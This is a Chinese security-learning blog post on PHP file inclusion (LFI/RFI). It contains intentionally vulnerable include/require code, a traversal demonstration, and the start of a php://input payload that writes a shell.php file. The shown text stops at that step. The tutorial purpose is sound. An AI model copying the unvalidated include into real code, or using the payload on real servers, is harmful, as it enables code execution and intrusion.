<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>web安全之文件包含漏洞 | Dxm&#39;blog</title>
  <meta name="keywords" content=" web安全 ">
  <meta name="description" content="web安全之文件包含漏洞 | Dxm&#39;blog">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="description" content="Web安全之文件上传漏洞1、编写一个上传图片的功能页面 2、针对上传的文件进行验证（后缀验证、文件头验证、文件名验证等） 3、文件上传通常会与文件解析漏洞相结合，可以收集整理存在解析漏洞的组件和相关版本，无法部署相关环境，可以学习相关技术，不用实际操作 扩展学习：学习如何绕过黑名单验证、文件头验证，如何杜绝上传图片的功能无法利用获取 shell ？ 0x01 MIME类型检测 前端界面  &lt;">
<meta property="og:type" content="article">
<meta property="og:title" content="文件上传漏洞代码">
<meta property="og:url" content="http://daoxiaom.gitee.io/2020/03/07/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E4%BB%A3%E7%A0%81/index.html">
<meta property="og:site_name" content="Dxm&#39;blog">
<meta property="og:description" content="Web安全之文件上传漏洞1、编写一个上传图片的功能页面 2、针对上传的文件进行验证（后缀验证、文件头验证、文件名验证等） 3、文件上传通常会与文件解析漏洞相结合，可以收集整理存在解析漏洞的组件和相关版本，无法部署相关环境，可以学习相关技术，不用实际操作 扩展学习：学习如何绕过黑名单验证、文件头验证，如何杜绝上传图片的功能无法利用获取 shell ？ 0x01 MIME类型检测 前端界面  &lt;">
<meta property="og:locale" content="en_US">
<meta property="og:image" content="http://daoxiaom.gitee.io/2020/03/07/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E4%BB%A3%E7%A0%81/image-20200103170055068.png">
<meta property="article:published_time" content="2020-03-06T17:06:03.000Z">
<meta property="article:modified_time" content="2020-03-06T17:25:59.326Z">
<meta property="article:author" content="dxm">
<meta property="article:tag" content="文件上传">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="http://daoxiaom.gitee.io/2020/03/07/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E4%BB%A3%E7%A0%81/image-20200103170055068.png">


<link rel="icon" href="/img/avatar.jpg">

<link href="/css/style.css?v=1.0.1" rel="stylesheet">

<link href="/css/hl_theme/atom-light.css?v=1.0.1" rel="stylesheet">

<link href="//cdn.bootcss.com/animate.css/3.5.2/animate.min.css" rel="stylesheet">
<link href="//cdn.bootcss.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet">

<script src="//cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
<script src="/js/jquery.autocomplete.min.js?v=1.0.1" ></script>

<script src="//cdn.bootcss.com/highlight.js/9.12.0/highlight.min.js"></script>
<script>
    hljs.initHighlightingOnLoad();
</script>

<script src="//cdn.bootcss.com/nprogress/0.2.0/nprogress.min.js"></script>



<script src="//cdn.bootcss.com/jquery-cookie/1.4.1/jquery.cookie.min.js" ></script>

<script src="/js/iconfont.js?v=1.0.1" ></script>

<meta name="generator" content="Hexo 4.2.0"></head>
<div style="display: none">
  <input class="theme_disqus_on" value="false">
  <input class="theme_preload_comment" value="false">
  <input class="theme_blog_path" value="">
</div>

<body>
<aside class="nav">
    <div class="nav-left">
        <a href="/" class="avatar_target">
    <img class="avatar" src="/img/avatar.jpg" />
</a>
<div class="author">
    <span>dxm</span>
</div>

<div class="icon">
    
        
        <a title="github" href="https://yshdxm.github" target="_blank">
            
                <svg class="iconfont-svg" aria-hidden="true">
                    <use xlink:href="#icon-github"></use>
                </svg>
            
        </a>
        
    
        
        <a title="email" href="mailto:sxwnysh@163.com" target="_blank">
            
                <svg class="iconfont-svg" aria-hidden="true">
                    <use xlink:href="#icon-email"></use>
                </svg>
            
        </a>
        
    
        
        <a title="qq" href="http://wpa.qq.com/msgrd?v=3&uin=623473035&site=qq&menu=yes" target="_blank">
            
                <svg class="iconfont-svg" aria-hidden="true">
                    <use xlink:href="#icon-qq"></use>
                </svg>
            
        </a>
        
    
</div>




<ul>
    <li><div class="all active">全部文章<small>(3)</small></div></li>
    
        
            
            <li><div data-rel="Web安全">Web安全<small>(2)</small></div>
                
            </li>
            
        
    
</ul>
<div class="left-bottom">
    <div class="menus">
    
    
    
    
    </div>
    <div><a  class="friends">友链</a></div>
</div>
<input type="hidden" id="yelog_site_posts_number" value="3">

<div style="display: none">
    <span id="busuanzi_value_site_uv"></span>
    <span id="busuanzi_value_site_pv"></span>
</div>

    </div>
    <div class="nav-right">
        <div class="friends-area">
    <div class="friends-title">
        友情链接
        <i class="back-title-list"></i>
    </div>
    <div class="friends-content">
        <ul>
            
            <li><a target="_blank" href="http://yelog.org/">叶落阁</a></li>
            
        </ul>
    </div>
</div>
        <div class="title-list">
    <form onkeydown="if(event.keyCode === 13){return false;}">
        <input id="local-search-input" class="search" type="text" placeholder="Search..." />
        <i class="cross"></i>
        <span>
            <label for="tagswitch">Tags:</label>
            <input id="tagswitch" type="checkbox" style="display: none" />
            <i id="tagsWitchIcon"></i>
        </span>
    </form>
    <div class="tags-list">
    
    <li class="article-tag-list-item">
        <a class="color1">web安全</a>
    </li>
    
    <li class="article-tag-list-item">
        <a class="color5">文件上传</a>
    </li>
    
    <div class="clearfix"></div>
</div>

    
    <nav id="title-list-nav">
        
        <a  class=""
           href="/2020/03/04/hello-world/"
           data-tag=""
           data-author="" >
            <span class="post-title" title="Hello World">Hello World</span>
            <span class="post-date" title="2020-03-04 14:09:03">2020/03/04</span>
        </a>
        
        <a  class="Web安全 "
           href="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/"
           data-tag="web安全"
           data-author="" >
            <span class="post-title" title="web安全之文件包含漏洞">web安全之文件包含漏洞</span>
            <span class="post-date" title="2020-03-04 15:35:11">2020/03/04</span>
        </a>
        
        <a  class="Web安全 "
           href="/2020/03/07/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E4%BB%A3%E7%A0%81/"
           data-tag="文件上传"
           data-author="" >
            <span class="post-title" title="文件上传漏洞代码">文件上传漏洞代码</span>
            <span class="post-date" title="2020-03-07 01:06:03">2020/03/07</span>
        </a>
        
    </nav>
</div>
    </div>
    <div class="hide-list">
        <div class="semicircle">
            <div class="brackets first"><</div>
            <div class="brackets">&gt;</div>
        </div>
    </div>
</aside>
<div class="post">
    <div class="pjax">
        <article id="post-web安全之文件包含漏洞" class="article article-type-post" itemscope itemprop="blogPost">
    
        <h1 class="article-title">web安全之文件包含漏洞</h1>
    
    <div class="article-meta">
        
        
        
        <span class="book">
            
                <a  data-rel="Web安全">Web安全</a>
            
        </span>
        
        
        <span class="tag">
            
            <a class="color1">web安全</a>
            
        </span>
        
    </div>
    <div class="article-meta">
        
        创建时间:<time class="date" title='更新时间: 2020-03-07 01:25:06'>2020-03-04 15:35</time>
        
    </div>
    <div class="article-meta">
        
        
        <span id="busuanzi_container_page_pv">
            阅读:<span id="busuanzi_value_page_pv">
                <span class="count-comment">
                    <span class="spinner">
                      <div class="cube1"></div>
                      <div class="cube2"></div>
                    </span>
                </span>
            </span>
        </span>
        
        
    </div>
    
    <div class="toc-ref">
    
        <ol class="toc"><li class="toc-item toc-level-3"><a class="toc-link" href="#WEB-安全之文件包含漏洞学习实战"><span class="toc-text">WEB 安全之文件包含漏洞学习实战</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#任务要求："><span class="toc-text">任务要求：</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#0x01-什么是文件包含漏洞"><span class="toc-text">0x01 什么是文件包含漏洞</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#0x02-漏洞产生的根本原因"><span class="toc-text">0x02 漏洞产生的根本原因</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#示例代码"><span class="toc-text">示例代码</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#例如："><span class="toc-text">例如：</span></a></li></ol></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#0x03-是不是只有PHP才有文件包含漏洞"><span class="toc-text">0x03 是不是只有PHP才有文件包含漏洞</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#0x04-编写文件包含页面"><span class="toc-text">0x04  编写文件包含页面</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#相关函数"><span class="toc-text">相关函数</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#测试"><span class="toc-text">测试</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#通过目录遍历漏洞可以获取到其他文件的内容"><span class="toc-text">通过目录遍历漏洞可以获取到其他文件的内容</span></a></li></ol></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#0x05-文件包含分类"><span class="toc-text">0x05 文件包含分类</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#本地文件包含漏洞（LFI）"><span class="toc-text">本地文件包含漏洞（LFI）</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#LFI利用条件"><span class="toc-text">LFI利用条件</span></a></li></ol></li><li class="toc-item toc-level-4"><a class="toc-link" href="#远程文件包含（RFI）"><span class="toc-text">远程文件包含（RFI）</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#RIF利用条件（同时开启）"><span class="toc-text">RIF利用条件（同时开启）</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#当allow-url-include-on-，就容易出现RIF"><span class="toc-text">当allow_url_include&#x3D; on ，就容易出现RIF</span></a></li></ol></li><li class="toc-item toc-level-5"><a class="toc-link" href="#测试-1"><span class="toc-text">测试</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#php-ini中-allow-url-include默认是off"><span class="toc-text">php.ini中 allow_url_include默认是off</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#这个时候去包含我服务器上的文件，显示拒绝访问"><span class="toc-text">这个时候去包含我服务器上的文件，显示拒绝访问</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#将allow-url-include-On-可以正常访问"><span class="toc-text">将allow_url_include&#x3D;On,可以正常访问</span></a></li></ol></li></ol></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#0x06-利用方法"><span class="toc-text">0x06 利用方法</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#一、php伪协议"><span class="toc-text">一、php伪协议</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#1-php-input"><span class="toc-text">1. php:&#x2F;&#x2F;input</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#利用条件"><span class="toc-text">利用条件</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#写入一句话"><span class="toc-text">写入一句话</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#新建文件，并输入语句"><span class="toc-text">新建文件，并输入语句</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#执行系统命令"><span class="toc-text">执行系统命令</span></a></li></ol></li><li class="toc-item toc-level-5"><a class="toc-link" href="#2-php-filter"><span class="toc-text">2. php:&#x2F;&#x2F;filter</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#利用条件：无"><span class="toc-text">利用条件：无</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#姿势"><span class="toc-text">姿势</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#其他姿势"><span class="toc-text">其他姿势</span></a></li></ol></li><li class="toc-item toc-level-5"><a class="toc-link" href="#3-phar"><span class="toc-text">3. phar:&#x2F;&#x2F;</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#利用条件-1"><span class="toc-text">利用条件</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#姿势-1"><span class="toc-text">姿势</span></a></li></ol></li><li class="toc-item toc-level-5"><a class="toc-link" href="#4-zip"><span class="toc-text">4. zip:&#x2F;&#x2F;</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#利用条件-2"><span class="toc-text">利用条件</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#姿势-2"><span class="toc-text">姿势</span></a></li></ol></li><li class="toc-item toc-level-5"><a class="toc-link" href="#5-data-URI-schema"><span class="toc-text">5. data:URI schema</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#利用条件-3"><span class="toc-text">利用条件</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#姿势一："><span class="toc-text">姿势一：</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#姿势二"><span class="toc-text">姿势二</span></a></li></ol></li></ol></li><li class="toc-item toc-level-4"><a class="toc-link" href="#二、包含日志"><span class="toc-text">二、包含日志</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#1-访问日志"><span class="toc-text">1.访问日志</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#利用条件："><span class="toc-text">利用条件：</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#姿势-3"><span class="toc-text">姿势</span></a></li></ol></li><li class="toc-item toc-level-5"><a class="toc-link" href="#2-ssh-log"><span class="toc-text">2. ssh-log</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#利用条件：需要知道ssh-log的位置，且可读-感觉比较鸡肋，因为这个ssh的日志一般是没有权限读的"><span class="toc-text">利用条件：需要知道ssh-log的位置，且可读, 感觉比较鸡肋，因为这个ssh的日志一般是没有权限读的</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#姿势-4"><span class="toc-text">姿势</span></a></li></ol></li><li class="toc-item toc-level-5"><a class="toc-link" href="#3-包含environ"><span class="toc-text">3. 包含environ</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#利用条件-4"><span class="toc-text">利用条件</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#姿势："><span class="toc-text">姿势：</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#测试（这里遇到了问题）"><span class="toc-text">测试（这里遇到了问题）</span></a></li></ol></li><li class="toc-item toc-level-5"><a class="toc-link" href="#4-包含fd"><span class="toc-text">4. 包含fd</span></a></li></ol></li><li class="toc-item toc-level-4"><a class="toc-link" href="#三、包含上传文件"><span class="toc-text">三、包含上传文件</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#利用条件：-1"><span class="toc-text">利用条件：</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#姿势：-1"><span class="toc-text">姿势：</span></a></li></ol></li></ol></li><li class="toc-item toc-level-4"><a class="toc-link" href="#四、绕过姿势"><span class="toc-text">四、绕过姿势</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#1-指定前缀"><span class="toc-text">1. 指定前缀</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#代码："><span class="toc-text">代码：</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#绕过姿势："><span class="toc-text">绕过姿势：</span></a></li></ol></li><li class="toc-item toc-level-5"><a class="toc-link" href="#2-编码绕过"><span class="toc-text">2. 编码绕过</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#利用url编码："><span class="toc-text">利用url编码：</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#二次编码："><span class="toc-text">二次编码：</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#容器-服务器的编码方式"><span class="toc-text">容器&#x2F;服务器的编码方式</span></a></li></ol></li><li class="toc-item toc-level-5"><a class="toc-link" href="#3-指定后缀"><span class="toc-text">3. 指定后缀</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#代码：-1"><span class="toc-text">代码：</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#利用URL"><span class="toc-text">利用URL</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#姿势一：query"><span class="toc-text">姿势一：query(?)</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#姿势二：fragment（-）"><span class="toc-text">姿势二：fragment（#）</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#0字节截断"><span class="toc-text">0字节截断</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#长度截断"><span class="toc-text">长度截断</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#点号截断"><span class="toc-text">点号截断</span></a></li></ol></li></ol></li><li class="toc-item toc-level-4"><a class="toc-link" href="#五、防御方案"><span class="toc-text">五、防御方案</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#1-配置-open-basedir-设置只允许访问的目录。"><span class="toc-text">1. 配置 open_basedir, 设置只允许访问的目录。</span></a><ol class="toc-child"><li class="toc-item toc-level-6"><a class="toc-link" href="#open-basedir的作用是限制在某个特定的目录下PHP能打开的文件"><span class="toc-text">open_basedir的作用是限制在某个特定的目录下PHP能打开的文件</span></a></li><li class="toc-item toc-level-6"><a class="toc-link" href="#PS-需要注意的是"><span class="toc-text">PS 需要注意的是</span></a></li></ol></li><li class="toc-item toc-level-5"><a class="toc-link" href="#2-做好文件的权限管理"><span class="toc-text">2. 做好文件的权限管理</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#3-对危险字符进行过滤，如-等"><span class="toc-text">3. 对危险字符进行过滤，如 ..&#x2F;   ~&#x2F; 等</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#4-通过白名单策略，只运行包含运行指定的文件"><span class="toc-text">4. 通过白名单策略，只运行包含运行指定的文件</span></a></li></ol></li><li class="toc-item toc-level-4"><a class="toc-link" href="#六、常见敏感信息路径"><span class="toc-text">六、常见敏感信息路径</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#1-windows系统"><span class="toc-text">1. windows系统</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#2-Linux-Unix系统"><span class="toc-text">2. Linux&#x2F;Unix系统</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#3-Apache"><span class="toc-text">3. Apache</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#4-IIS"><span class="toc-text">4. IIS</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#5-MySQL"><span class="toc-text">5. MySQL</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#6-phpMyAdmin"><span class="toc-text">6. phpMyAdmin</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#7-XAMPP-建站"><span class="toc-text">7. XAMPP 建站</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#8-phpStudy-建站"><span class="toc-text">8. phpStudy 建站</span></a></li><li class="toc-item toc-level-5"><a class="toc-link" href="#9-日志默认路径"><span class="toc-text">9. 日志默认路径</span></a></li></ol></li></ol></li></ol>
    
<style>
    .left-col .switch-btn,
    .left-col .switch-area {
        display: none;
    }
    .toc-level-3 i,
    .toc-level-3 ol {
        display: none !important;
    }
</style>
</div>
    
    <div class="article-entry" itemprop="articleBody">
      
        <h3 id="WEB-安全之文件包含漏洞学习实战"><a href="#WEB-安全之文件包含漏洞学习实战" class="headerlink" title="WEB 安全之文件包含漏洞学习实战"></a>WEB 安全之文件包含漏洞学习实战</h3><h4 id="任务要求："><a href="#任务要求：" class="headerlink" title="任务要求："></a>任务要求：</h4><ol>
<li>编写一个存在文件包含漏洞的页面</li>
<li>通过包含不同的文件进行getshell（具体哪些自己收集）</li>
<li>扩展学习：思考如何防御文件包含漏洞问题，将相关防御策略记录在报告中</li>
</ol>
<h3 id="0x01-什么是文件包含漏洞"><a href="#0x01-什么是文件包含漏洞" class="headerlink" title="0x01 什么是文件包含漏洞"></a>0x01 什么是文件包含漏洞</h3><hr>
<p>服务器通过PHP的特性（函数）去包含任意文件时，由于要包含的这个文件来源过滤不严，从而可以去包含一个恶意文件，而我们可以构造这个恶意文件来达到攻击的目的。</p>
<h3 id="0x02-漏洞产生的根本原因"><a href="#0x02-漏洞产生的根本原因" class="headerlink" title="0x02 漏洞产生的根本原因"></a>0x02 漏洞产生的根本原因</h3><hr>
<p>在通过PHP的函数引入文件时，由于传入的文件名没有经过合理的校验，可以被用户控制，从而操作了预想之外的文件（即恶意文件） 。</p>
<h4 id="示例代码"><a href="#示例代码" class="headerlink" title="示例代码"></a>示例代码</h4><pre><code class="php">&lt;?php
    $filename=$_GET[&#39;filename&#39;];
    include($filename);
?&gt;</code></pre>
<h5 id="例如："><a href="#例如：" class="headerlink" title="例如："></a>例如：</h5><p>$_GET[‘filename’]参数，开发者没有经过严格的过滤，直接带入include函数，攻击者可以修改$_GET[‘filename’]的值，执行非预期的操作。</p>
<h3 id="0x03-是不是只有PHP才有文件包含漏洞"><a href="#0x03-是不是只有PHP才有文件包含漏洞" class="headerlink" title="0x03 是不是只有PHP才有文件包含漏洞"></a>0x03 是不是只有PHP才有文件包含漏洞</h3><hr>
<p>很显然不是，只是文件包含漏洞比较常出现在PHP当中，而且文件包含漏洞在PHP Web Application中居多。几乎所有脚本语言都会提供文件包含的功能，只是在JSP、ASP、ASP.NET程序中却非常少见，甚至没有，这就是语言设计中的弊端。</p>
<h3 id="0x04-编写文件包含页面"><a href="#0x04-编写文件包含页面" class="headerlink" title="0x04  编写文件包含页面"></a>0x04  编写文件包含页面</h3><hr>
<p>源码：</p>
<pre><code class="php">&lt;?php
     $file = $_GET[&#39;file&#39;];
     require $file;
 ?&gt;</code></pre>
<h4 id="相关函数"><a href="#相关函数" class="headerlink" title="相关函数"></a>相关函数</h4><ol>
<li><a href="http://www.php.net/manual/en/function.include.php" target="_blank" rel="noopener">include()</a></li>
<li><a href="http://php.net/manual/en/function.include-once.php" target="_blank" rel="noopener">include_once()</a></li>
<li><a href="http://php.net/manual/en/function.require.php" target="_blank" rel="noopener">require()</a></li>
<li><a href="http://php.net/manual/en/function.require-once.php" target="_blank" rel="noopener">require_once()</a></li>
</ol>
<ul>
<li>reuqire() 如果在包含的过程中有错，比如文件不存在等，则会直接退出，不执行后续语句。</li>
<li>include() 如果出错的话，只会提出警告，会继续执行后续语句。</li>
<li>require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了，则 require_once() 和 include_once() 则不会再包含它，以避免函数重定义或变量重赋值等问题。</li>
</ul>
<h4 id="测试"><a href="#测试" class="headerlink" title="测试"></a>测试</h4><p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/1.png" alt></p>
<p>在当前目录放入一个phpinfo.php文件，并修改其后缀为jpg，然后开始尝试利用文件包含漏洞，看看是否能将phpinfo.jpg成功解析为php</p>
<p><img src="https://i.loli.net/2020/03/04/BITXkdrAJ1jEO7H.png" alt="image-20200227180044465.png"></p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/image-20200227180044465.png" alt="image-20200227180044465"></p>
<p>解析成功</p>
<p>被包含的文件无论是不是以.php结尾，服务器都会以php代码的方式区解析它。这个特点使得文件包含漏洞通常和文件上传漏洞结合使用。</p>
<h5 id="通过目录遍历漏洞可以获取到其他文件的内容"><a href="#通过目录遍历漏洞可以获取到其他文件的内容" class="headerlink" title="通过目录遍历漏洞可以获取到其他文件的内容"></a>通过目录遍历漏洞可以获取到其他文件的内容</h5><p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302114307877.png" alt="image-20200302114307877"></p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302114542574.png" alt="image-20200302114542574"></p>
<h3 id="0x05-文件包含分类"><a href="#0x05-文件包含分类" class="headerlink" title="0x05 文件包含分类"></a>0x05 文件包含分类</h3><hr>
<h4 id="本地文件包含漏洞（LFI）"><a href="#本地文件包含漏洞（LFI）" class="headerlink" title="本地文件包含漏洞（LFI）"></a>本地文件包含漏洞（LFI）</h4><p>本地文件包含，顾名思义，指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI，正如上面的例子演示的。</p>
<h5 id="LFI利用条件"><a href="#LFI利用条件" class="headerlink" title="LFI利用条件"></a>LFI利用条件</h5><pre><code>1.具有相关的文件包含函数。
2.文件包含函数中存在动态变量，比如 include $file;。
3.攻击者能够控制该变量，比如$file = $_GET[&#39;file&#39;];。</code></pre><p>ps: allow_url_fopen=off  all_url_include=off均为off时，我尝试本地文件包含，还是可以正常包含</p>
<h4 id="远程文件包含（RFI）"><a href="#远程文件包含（RFI）" class="headerlink" title="远程文件包含（RFI）"></a>远程文件包含（RFI）</h4><p>远程文件包含。是指能够包含远程服务器上的文件并执行。由于远程服务器上的文件是我们可控的，因此漏洞一旦存在危害性会很大。</p>
<h5 id="RIF利用条件（同时开启）"><a href="#RIF利用条件（同时开启）" class="headerlink" title="RIF利用条件（同时开启）"></a>RIF利用条件（同时开启）</h5><pre><code class="php">1. allow_url_fopen=on  是否允许将URL（如http：//或ftp：//）作为文件处理。  默认打开
2. allow_url_include=on  是否允许include/require打开URL（如http：//或ftp：//）作为文件处理。从php5.2开始，默认关闭</code></pre>
<h6 id="当allow-url-include-on-，就容易出现RIF"><a href="#当allow-url-include-on-，就容易出现RIF" class="headerlink" title="当allow_url_include= on ，就容易出现RIF"></a>当allow_url_include= on ，就容易出现RIF</h6><h5 id="测试-1"><a href="#测试-1" class="headerlink" title="测试"></a>测试</h5><h6 id="php-ini中-allow-url-include默认是off"><a href="#php-ini中-allow-url-include默认是off" class="headerlink" title="php.ini中 allow_url_include默认是off"></a>php.ini中 allow_url_include默认是off</h6><p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302122017814.png" alt="image-20200302122017814"></p>
<h6 id="这个时候去包含我服务器上的文件，显示拒绝访问"><a href="#这个时候去包含我服务器上的文件，显示拒绝访问" class="headerlink" title="这个时候去包含我服务器上的文件，显示拒绝访问"></a>这个时候去包含我服务器上的文件，显示拒绝访问</h6><p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302122050889.png" alt="image-20200302122050889"></p>
<h6 id="将allow-url-include-On-可以正常访问"><a href="#将allow-url-include-On-可以正常访问" class="headerlink" title="将allow_url_include=On,可以正常访问"></a>将allow_url_include=On,可以正常访问</h6><p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302122140587.png" alt="image-20200302122140587"></p>
<p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302122325588.png" alt="image-20200302122325588"></p>
<h3 id="0x06-利用方法"><a href="#0x06-利用方法" class="headerlink" title="0x06 利用方法"></a>0x06 利用方法</h3><hr>
<h4 id="一、php伪协议"><a href="#一、php伪协议" class="headerlink" title="一、php伪协议"></a>一、php伪协议</h4><h5 id="1-php-input"><a href="#1-php-input" class="headerlink" title="1. php://input"></a>1. php://input</h5><h6 id="利用条件"><a href="#利用条件" class="headerlink" title="利用条件"></a>利用条件</h6><pre><code>1. allow_url_include= On
2. allow_url_fopen 不作要求</code></pre><h6 id="写入一句话"><a href="#写入一句话" class="headerlink" title="写入一句话"></a>写入一句话</h6><p><img src="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/C:%5CUsers%5Cshy%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200302165747108.png" alt="image-20200302165747108"></p>
<h6 id="新建文件，并输入语句"><a href="#新建文件，并输入语句" class="headerlink" title="新建文件，并输入语句"></a>新建文件，并输入语句</h6><pre><code class="php">&lt;?php fputs(fopen(&quot;shell.php&quot;,&quot;w&quot;),&quot;&lt;?php phpinfo();?&gt;&quot;) ?&gt;</code></pre>
<p>fputs(file,string) 写入文件，将string中的字符串写入指定的file中</p>
<p>fopen(filename,mode)打开文件或者url，如果没有则创建</p>
